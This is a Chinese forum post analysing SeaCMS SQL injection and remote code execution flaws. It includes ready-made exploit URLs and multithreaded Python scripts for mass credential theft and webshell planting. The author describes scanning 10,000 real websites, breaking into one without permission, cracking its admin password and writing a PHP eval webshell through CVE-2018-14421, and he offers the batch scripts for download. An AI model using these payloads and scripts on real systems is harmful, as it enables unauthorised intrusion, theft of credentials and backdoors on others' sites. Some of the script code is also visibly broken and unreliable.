搜索
    Hi~登录注册
    查看: 284|回复: 0
    收起左侧

    Seacms SQL注入与RCE分析及实战-血洗小电影网站

    [复制链接]

    69

    主题

    2

    精华

    31 小时

    在线时间

    注册会员

    Rank: 2

    积分
    119
    发表于 2019-10-1 09:44:46 | 显示全部楼层 |阅读模式

    首先

    吹爆论坛这个新markdown编辑,比之前好太多了!

    0X001海洋CMS简介

    海洋cms是为解决站长核心需求而设计的视频内容管理系统,一套程序自适应电脑、手机、平板、APP多个终端入口,无任何加密代码、安全有保障,是您最佳的建站工具。——来自seacms官网(简而言之就是专门搭建看片网站的cms)

    经过我多年**的经验,很多看小电影的网站都是用的这套cms或是maccms,因此是时候血洗小电影站点了

    uNuNfe.png

    呵呵,安全有保障??头都给你打爆掉,百度搜索seacms。。漏洞信息都已经上了首页了。。

    uNu8w6.png

    0X002 SeaCMS V9.1以下版本全版本SQL注入分析

    看到了最近tools上的seacms sql注入漏洞,不由得下体一硬。

    干干巴巴的,cnm,必须盘他!

    漏洞产生处code如下

    session_start();
    
    require_once("../../include/common.php");
    
    $id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
    
    $page = (isset($page) && is_numeric($page)) ? $page : 1;
    
    $type = (isset($type) && is_numeric($type)) ? $type : 1;
    
    $pCount = 0;
    
    $jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
    
    //缓存第一页的评论
    
    if($page<2)
    
    {
    
            if(file_exists($jsoncachefile))
    
            {
    
                    $json=LoadFile($jsoncachefile);
    
                    die($json);
    
            }
    
    }
    
    $h = ReadData($id,$page);
    
    $rlist = array();
    
    if($page<2)
    
    {
    
            createTextFile($h,$jsoncachefile);
    
    }
    
    die($h);        
    
    
    
    function ReadData($id,$page)
    
    {
    
            global $type,$pCount,$rlist;
    
            $ret = array("","",$page,0,10,$type,$id);
    
            if($id>0)
    
            {
    
                    $ret[zxsq-anti-bbcode-0] = Readmlist($id,$page,$ret[zxsq-anti-bbcode-4]);
    
                    $ret[zxsq-anti-bbcode-3] = $pCount;
    
                    $x = implode(',',$rlist);
    
                    if(!empty($x))
    
                    {
    
                    $ret[zxsq-anti-bbcode-1] = Readrlist($x,1,10000);
    
                    }
    
            }
    
            $readData = FormatJson($ret);
    
            return $readData;
    
    }
    
    
    
    function Readmlist($id,$page,$size)
    
    {
    
            global $dsql,$type,$pCount,$rlist;
    
            $ml=array();
    
            if($id>0)
    
            {
    
                    $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
    
                    $rs = $dsql ->GetOne($sqlCount);
    
                    $pCount = ceil($rs[zxsq-anti-bbcode-'dd']/$size);
    
                    $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
    
                    $dsql->setQuery($sql);
    
                    $dsql->Execute('commentmlist');
    
                    while($row=$dsql->GetArray('commentmlist'))
    
                    {
    
                            $row[zxsq-anti-bbcode-'reply'].=ReadReplyID($id,$row[zxsq-anti-bbcode-'reply'],$rlist);
    
                            $ml[zxsq-anti-bbcode-]="{\"cmid\":".$row['id'].",\"uid\":".$row[zxsq-anti-bbcode-'uid'].",\"tmp\":\"\",\"nick\":\"".$row[zxsq-anti-bbcode-'username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row[zxsq-anti-bbcode-'username'])?1:0).",\"from\":\"".$row[zxsq-anti-bbcode-'username']."\",\"time\":\"".date("Y/n/j H:i:s",$row[zxsq-anti-bbcode-'dtime'])."\",\"reply\":\"".$row[zxsq-anti-bbcode-'reply']."\",\"content\":\"".$row[zxsq-anti-bbcode-'msg']."\",\"agree\":".$row[zxsq-anti-bbcode-'agree'].",\"aginst\":".$row[zxsq-anti-bbcode-'anti'].",\"pic\":\"".$row[zxsq-anti-bbcode-'pic']."\",\"vote\":\"".$row[zxsq-anti-bbcode-'vote']."\",\"allow\":\"".(empty($row[zxsq-anti-bbcode-'anti'])?0:1)."\",\"check\":\"".$row[zxsq-anti-bbcode-'ischeck']."\"}";
    
                    }
    
            }
    
            $readmlist=join($ml,",");
    
            return $readmlist;
    
    }
    
    
    
    function Readrlist($ids,$page,$size)
    
    {
    
            global $dsql,$type;
    
            $rl=array();
    
            $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
    
            $dsql->setQuery($sql);
    
            $dsql->Execute('commentrlist');
    
            while($row=$dsql->GetArray('commentrlist'))
    
            {
    
                    $rl[zxsq-anti-bbcode-]="\"".$row['id']."\":{\"uid\":".$row[zxsq-anti-bbcode-'uid'].",\"tmp\":\"\",\"nick\":\"".$row[zxsq-anti-bbcode-'username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row[zxsq-anti-bbcode-'username'])?1:0).",\"from\":\"".$row[zxsq-anti-bbcode-'username']."\",\"time\":\"".$row[zxsq-anti-bbcode-'dtime']."\",\"reply\":\"".$row[zxsq-anti-bbcode-'reply']."\",\"content\":\"".$row[zxsq-anti-bbcode-'msg']."\",\"agree\":".$row[zxsq-anti-bbcode-'agree'].",\"aginst\":".$row[zxsq-anti-bbcode-'anti'].",\"pic\":\"".$row[zxsq-anti-bbcode-'pic']."\",\"vote\":\"".$row[zxsq-anti-bbcode-'vote']."\",\"allow\":\"".(empty($row[zxsq-anti-bbcode-'anti'])?0:1)."\",\"check\":\"".$row[zxsq-anti-bbcode-'ischeck']."\"}";
    
            }
    
            $readrlist=join($rl,",");
    
            return $readrlist;
    
    }
    

    仔细阅读以上代码,发现$rlist还未被初始化就先进入到了ReadData函数,但实际上 $rlist 可控,最终Readrlist函数造成注入

    漏洞利用Exploit如下(获取管理员表中第一个用户的密码)

    http://www.seacms.com/comment/ap ... mp;page=2&rlist[][email protected]`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`
    

    Exploit2(获取管理员表中第一个用户的账号)

    http://www.seacms.net/comment/ap ... mp;page=2&rlist[][email protected]`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),@`%27`
    

    0X003 SeaCMS最新版本RCE分析

    在最新版本的Seacms中sql注入过滤api,着实让人非常蛋疼。过滤的比较全,不太好绕

    uNu3ex.png

    与老版本的seacms对比发现,程序员不知为何脑子犯抽,注释掉了数据库类中的一行代码,导致数据库报错的信息会直接写入到/data/mysqli_error_trace.php文件下,直接实现了前台rce

    uNuGTK.png

    Exploit如下

    
    

    随后访问http://www.xxx.com/data/mysqli_error_trace.php
    发现phpinfo即可执行

    uNulO1.png
    闲来无事,直接写了一个批量利用这个rce漏洞getshell的脚本,文末回复即可下载
    uNuaSH.png

    0X004实战

    分析完漏洞后一不做二不休,直接写了个脚本怼了一下百度权重排名前10000的站点:
    uNuYFO.png
    code如下(url.txt内容为你要批量测试的url)

    import requests
    print(" Seacms v9 SQL Injection-Author:J0o1ey QQ:547006660")
    urls = open(r"url.txt", "r")
    payload = '/comment/api/index.php?gid=1&page=2&rlist[][email protected]`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`'
    for url in urls:
        testurl = url.strip() + payload
        html = requests.get(testurl).text
        if "seacms" in html:
            print("[+]Exploit URL:" + testurl)

    虽然比较简陋,但也够用了,我在文末放出了批量检测seacms的完整漏洞利用脚本,可以批量注入和getshell,各位朋友有兴趣可以回复下载

    Sql注入的探测脚本发现了一个目标

    https://www.***.com/comment/api/index.php?gid=1&page=2&rlist[][email protected]%27,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27)),@%27)

    uNutYD.png
    这个站用的老版本seacms,因此不存在前台rce
    uNudld.png

    获取到admin用户的md5加密后的密码为b93af3cf59d757e27ca5
    somd5成功解密
    uNuw6A.png

    密码为Qq7788520
    随后拿着后台路径扫描的程序瞎jb一顿乱扫,结果并没有扫到后台
    uNugfg.png

    光拿到管理员账号密码,但是没有后台,那有个卵用啊。。。
    但是,我眉头一皱,发现事情并不简单
    前面获取到的密码是Qq7788520,这应该是管理员的qq吧?
    uNu0OI.png

    猜测后台为https://www.***.com/7788520
    结果Duang的一下~真tmd是后台。。。。进去了
    用之前注入到的账号密码,成功登录之
    uNur0P.png
    即使进了后台,拿不到shell的话,也是很鸡肋的,于是我便找了一下seacms公开的漏洞
    最后找到了CVE-2018-14421,一个Seacms Backend的RCE

    漏洞详情链接:http://hexo.imagemlt.xyz/post/seacms-backend-getshell/index.html

    漏洞分析文章:https://www.anquanke.com/post/id/152764

    按照作者给出的方法,是在后台编辑video的时候,在图片pic处注入代码

    {if:1)$GLOBALS['_G'.'ET']a;//}{end if}
    利用是:/details/index.php?1.html&m=admin&a=assert&b=phpinfo()
    仔细研究了一下,不一定偏要像作者那样利用,只要在这个video的照片出现的地方通过get方式传导php代码即可实现参数污染

    我在首页上找到了一个叫做“传说中的七公主”的video,
    uNuDmt.png

    在后台搜索该影片后
    我把它的照片链接处改为了{if:1)$GLOBALS[‘_G’.’ET’]a;//}{end if}
    uNusTf.png

    随后访问链接:

    http://www.***.com/index.php?1.html&m=admin&a=assert&b=${fputs(fopen(%27d.php%27,%27w%27),%27%3C?php%[email protected]($_POST[c])?%3E%27)};

    成功通过RCE利用PHP的fputs函数在网站根目录下,写入了一个名为d.php的Webshell(密码为c)

    高高兴兴连接之
    uNuctS.png

    0x005感想

    最近因为各种原因,没太有时间写文章,加上自己又大病了一个多月,可以说是非常虚弱啦,希望大家能够理解。
    今天是祖国母亲的生日,最能表达此时情感的当应是鲁迅先生的那句“寄意寒星荃不察,我以我血荐轩辕”,我虽是茫茫人海中浮浮沉沉的浮游,但我依然怀有建设祖国,报效祖国的梦。
    此生无悔为中华,来世愿在中华家。没有网络安全就没有国家安全,愿你我永立网络安全的潮头,为祖国的长治久安保驾护航。
    祝福中国,祝福这个伟大的时代!
    uNu6k8.png

    0x006批量利用脚本

    Seacms Rce批量getshell脚本

    #!/usr/bin/env python3
    
    
    
    #- * -encoding: utf - 8 - * -
    
    # #Seacms Rce latest author: J0o1ey QQ547006660
    
    
    
    import base64
    
    import requests
    
    import threading
    
    import queue
    
    
    
    q = queue.Queue()
    
    file = open('url.txt','w+')
    
    for x in file.readlines():
    
        q.put(x.strip())
    
    print("============Write the shell started!==============\n")# 写命令执行马
    
    def cmd():
    
        while not q.empty():
    
                url = q.get()
    
    headers={
    
        'Content-Type': 'text/xml',
    
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.'
    
    }
    
    requests.packages.urllib3.disable_warnings()
    
    try:
    
        get = requests.get(url = url + '/comment/api/index.php?gid=1&page=2&rlist[]=11*/?> < 问号(手动改成英文问号php @eval ($_POST["c"]);echo "123";
    /*', headers = headers, verify = False, timeout = 10)
    
        r = requests.get(url = url + '/data/mysqli_error_trace.php', headers = headers, timeout = 10, verify = False)
    
        if '123' in r.text:
    
            print('!=========Write to successful :' + url + '/data/mysqli_error_trace.php' + '=======password:c========!!!\n')
    
        with open('success.txt', 'a') as f:
    
            f.write(url + '\n')
    
    except:
    
        pass
    
    
    
    if __name__ =='__main__':
    
        for i in range(4):
    
            tshen= threading.Thread(target=cmd)
    
            tshen.start()
    
            tshen.join()
    
    # 线程队列部分

    Seacms注入,批量获取管理员账号密码脚本

    #!/usr/bin/env python3
    
    #-*- encoding:utf-8 -*-
    
    import requests
    
    import threading
    
    import queue
    
    import re
    
    
    
    q=queue.Queue()
    
    file=open('url.txt')
    
    for x in file.readlines():
    
            q.put(x.strip())
    
    print("============seacms注入漏洞!!==============\n")
    
    def sql():
    
            while not q.empty():
    
                    url=q.get()
    
                    headers={'Content-Type':'text/xml','User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.'}
    
                    try:
    
                            password=requests.get(url=url+'comment/api/index.php?gid=1&page=2&rlist[][email protected]`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`',headers=headers,verify=False,timeout=10).text
    
                            seucc=re.findall("Error infos: XPATH syntax error: '(.*?)' ",password,re.S)
    
                            name=requests.get(url=url+'comment/api/index.php?gid=1&page=2&rlist[][email protected]`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),@`%27`',headers=headers,verify=False,timeout=10).text
    
                            seucc2=re.findall("Error infos: XPATH syntax error: '(.*?)' ",name,re.S)
    
                            for i in seucc:
    
                                    print(url+'账号:'+re.split(' ',i)[1])
    
                            for i in seucc2:
    
                                    print(url+'密码:'+re.split(' ',i)[1])
    
                    except:
    
                            pass
    
    def thread():
    
            # 线程队列部分
    
            th = []
    
            th_num = 10
    
            for x in range(th_num):
    
                    t=threading.Thread(target=sql)
    
                    th.append(t)
    
            for x in range(th_num):
    
                    th[x].start()
    
            for x in range(th_num):
    
                    th[x].join()
    
    if __name__ == '__main__':
    
            thread()
    回复

    使用道具 举报

    游客
    回复
    您需要登录后才可以回帖 登录 | 获取账号

    快速回复 返回顶部 返回列表